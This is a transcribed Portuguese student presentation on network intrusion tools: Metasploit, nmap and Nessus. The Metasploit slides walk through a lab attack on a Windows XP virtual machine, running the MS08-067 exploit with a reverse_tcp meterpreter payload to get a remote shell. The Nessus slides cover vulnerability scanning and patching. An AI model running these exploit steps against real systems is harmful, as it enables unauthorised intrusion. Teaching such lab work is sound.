TRABALHO INTRUSÃO DE REDES

Transcrição

1 TRABALHO INTRUSÃO DE REDES

2 Software Metasploit Framework O que é > Metasploit Framework é uma avançada plataforma Open Source, concebida especificamente com o objetivo de reforçar e acelerar o desenvolvimento, ensaio e utilização de exploits. Escrito na maioria das vezes em "Perl" e com vários componentes desenvolvidos em "C e Assembler", sua portabilidade está assegurada, o que contribui em larga medida para a sua aceitação maciça, porque qualquer que seja a sua escolha de plataforma de uso, pode instalá-lo e desfrutar todos os seus poderes em poucos minutos e sem grandes dificuldades Executando uma intrusão Para que você possa ter uma boa noção de como o Metasploit realmente funciona, nada melhor que conseguir obter o acesso a uma máquina (virtual) e assim poder testar e estudar todas suas funcionalidades, ficando cada dia mais "afiado" em seus testes de intrusão. Sim, este artigo é bem básico. O cenário utilizado foi o seguinte: Neste caso são 2 máquinas virtuais (VMs) criadas usando o Virtualbox. As placas de rede de ambas VMs estão configuradas como bridge.

3 1ª VM = Sistema Operacional Backtrack 4 Final com endereço IP ª VM = Sistema Operacional Windows XP SP2 com endereço IP SCANNING COM NMAP E METASPLOIT Ok pessoal, vamos utilizar a ferramenta "nmap" para fazer o scanning em nossa rede interna. Abra um terminal no micro com o Backtrack e digite o seguinte comando: # nmap -v --script=smb-check-vulns /24 v = Modo Verbose --script=smb-check-vulns = Script para verificar vulnerabilidades conhecidas, como por exemplo, MS08-067, Conficker, regsvc DoS e SMBv2 exploit /24 = Range de IP utilizado em minha rede local.

4

5 Se repararem, no host com endereço IP , verá que são mostradas as portas que estão abertas, e em MS está como VULNERABLE, tendo essa "simples" base, vamos atacá-lo. Certo, descobrimos um host dentro da nossa LAN que está possivelmente vulnerável ao nosso ataque pretendido! Agora vamos carregar o Metasploit. No terminal, basta digitar msfconsole e... Obtemos nosso console do msf. Feito isto, vamos efetuar a intrusão na máquina. Os comandos são os seguintes:

6 use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi set RHOST #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2 set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST. set LHOST #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4. exploit #E finalmente executamos nosso exploit. Observe a imagem abaixo.

7 Pronto! Ganhamos nossa shell meterpreter, ou seja, já estamos na máquina alvo. Experimente dar os comandos sysinfo e ipconfig.

8 Software Tenable Nessus Tenable Nessus O Nessus é um software de auditoria de redes e varredura de vulnerabilidades que pode ser utilizado para descobrir falhas de segurança em sistemas UNIX e Windows. É possível ajustar o aplicativo para reproduzir a política de segurança de sua empresa, dos relatórios públicos das agências de segurança NSA, CERT e CIS, dentre outras. QUAL E A SUA FUNÇAO Tenable Nessus permite a sua função e permite a verificação de vulnerabilidade remota que pode ser utilizada para auditar sua internet com foco em endereços IP para a rede e vulnerabilidades de aplicações web a parti da nuvem. Ele executa a verificação da vulnerabilidade do ciclo de vida completo além do gerenciamento de configurações, empresas podem ainda comunicar recomendações responsáveis, acompanhar remediações e verificar os patches de segurança e configurações necessárias e muito mais.

9 Utilizando o nessus O Nessus utiliza um sistema cliente-servidor, onde uma vez iniciado o módulo servidor passa a ser possível rodar o cliente em qualquer máquina da rede (por esse motivo pode-se atribuir vários logins e senhas com permissões diversas). O certificado oferece uma segurança maior ao acessar o servidor Nessus, pois garante que ele não foi substituído por outra máquina comprometida. Ressaltando que em ambientes Windows somente é possível a instalação do Cliente NESSUS e não do Servidor(Gerente) O seguinte passo é inicializar o servidor, ainda como superusuário(root), usando o comando: # nessusd -D Após, volte ao seu login de usuário e abra o cliente, com o comando: $ nessus

10 Agora você deverá logar-se no servidor Nessus, fornecendo seu login e senha. Nas configurações do programa(abas superiores) você tem acesso a várias opções, entre elas a faixa de portas TCP e UDP que devem ser escaneadas:

11 Se você quiser um teste completo, use a faixa Este teste é ideal para PCs da rede local, mas pode demorar bastante caso seja feito via Internet. Basicamente, ele envia um pacote TCP e outro pacote UDP para cada porta e para cada PC a ser testado. Se você quiser testar uma faixa inteira de endereços IP, com seus 255 PCs teremos nada menos que pacotes, que correspondem a mais de 750 MB de dados. Alguns testes do Nessus podem travar alguns PCs vulneráveis, como por exemplo estações Windows 95 vulneráveis ao "ping da morte". A opção "Safe checks" desativa testes potencialmente perigosos, evitando prejuízos aos usuários. De qualquer forma, o ideal é fazer o teste à noite, ou em algum horário em que os PCs não estejam sendo utilizados. Na seção "Target Selection" você define o alvo, fornecendo seu IP. Se você quiser testar as vulnerabilidades da própria máquina local, o endereço é o "localhost". Se você quiser testar de uma vez toda a sua rede local, basta fornecer o endereço da rede, como em " " ou " ". Concluído o teste, ele exibe uma lista com as vulnerabilidades encontradas em cada PC. Existem três níveis de alerta, o primeiro e mais grave tem o símbolo de uma luz vermelha e indica uma brecha de segurança em um servidor ativo na máquina. O screenshot abaixo por exemplo temos uma máquina Linux rodando uma versão antiga do Samba, que permite que clientes não autorizados se loguem no servidor. Além de apontar o problema, o Nessus oferece uma descrição detalhada da vulnerabilidade e aponta uma solução. No caso a solução é simplesmente atualizar o Samba para uma versão mais recente:

12 O segundo nível é um alerta de que um serviço potencialmente inseguro está ativo numa determinada porta do sistema, como por exemplo um servidor Telnet ou XDMCP (para obter a tela de login do servidor, como vimos no capítulo 7). Neste caso não foi encontrada nenhuma vulnerabilidade específica, mas o fato o serviço ser fundamentalmente inseguro já representa uma brecha de segurança. Tanto o Telnet quanto o XDMCP transmitem dados de forma não encriptada, o que permite que alguém mal intencionado possa sniffar a rede, capturando os dados transmitidos, incluindo as senhas dos usuários.

13 O terceiro nível de alerta tem o símbolo de uma luz. Estes são apenas lembretes de que existe um servidor ativo na porta indicada mas sem que fosse detectada qualquer brecha de segurança: Naturalmente, assim como você pode utilizar o Nessus para detectar e tapar brechas de segurança, outras pessoas podem utilizá-lo para detectar suas vulnerabilidades e lançar ataques. Hoje em dia a variedade de scripts e ferramentas gráficas prontas que exploram vulnerabilidades é tão grande que você pode encontrar algum exploit fácil de usar para praticamente qualquer vulnerabilidade que você possa encontrar. Basta saber fazer pesquisas no Google.

14 Estes exploits prontos são o grande perigo, pois não requerem nenhum tipo de prática ou habilidade para serem usados. Basta indicar o IP a ser atacado e pronto. Ou seja, aquele garoto com quem você brigou no chat pode muito bem fazer um estrago na sua rede caso você tenha alguma vulnerabilidade grave, por isso é importante resolver o problema antes que alguém o faça por você. O Nessus é só o primeiro passo. Caso você rode qualquer tipo de servidor na sua máquina é importante acompanhar sites especializados em notícias relacionadas à segurança, c omo o e o A maioria das distribuições oferecem boletins por que avisam quando novas atualizações de segurança estão disponíveis. Lembre-se que apesar das notícias de brechas e atualizações serem sempre muito frequentes, você só precisa se preocupar com os servidores que você mantém ativos na sua máquina. Se você mantém apenas o SSH e o Proftp por exemplo, não precisa se preocupar com as atualizações do Apache e do Sendmail. Além dos servidores, clientes de (Evolution, Kmail etc) e navegadores (Konqueror, Mozilla etc) também costumam receber atualizações de segurança com uma certa frequência.

15 CAMPUS : PARQUE DAS ROSAS Moisés Daniel Henrique Lage Marcia Gomes Wellington das Mercês Dionata Araujo Elizabete Santos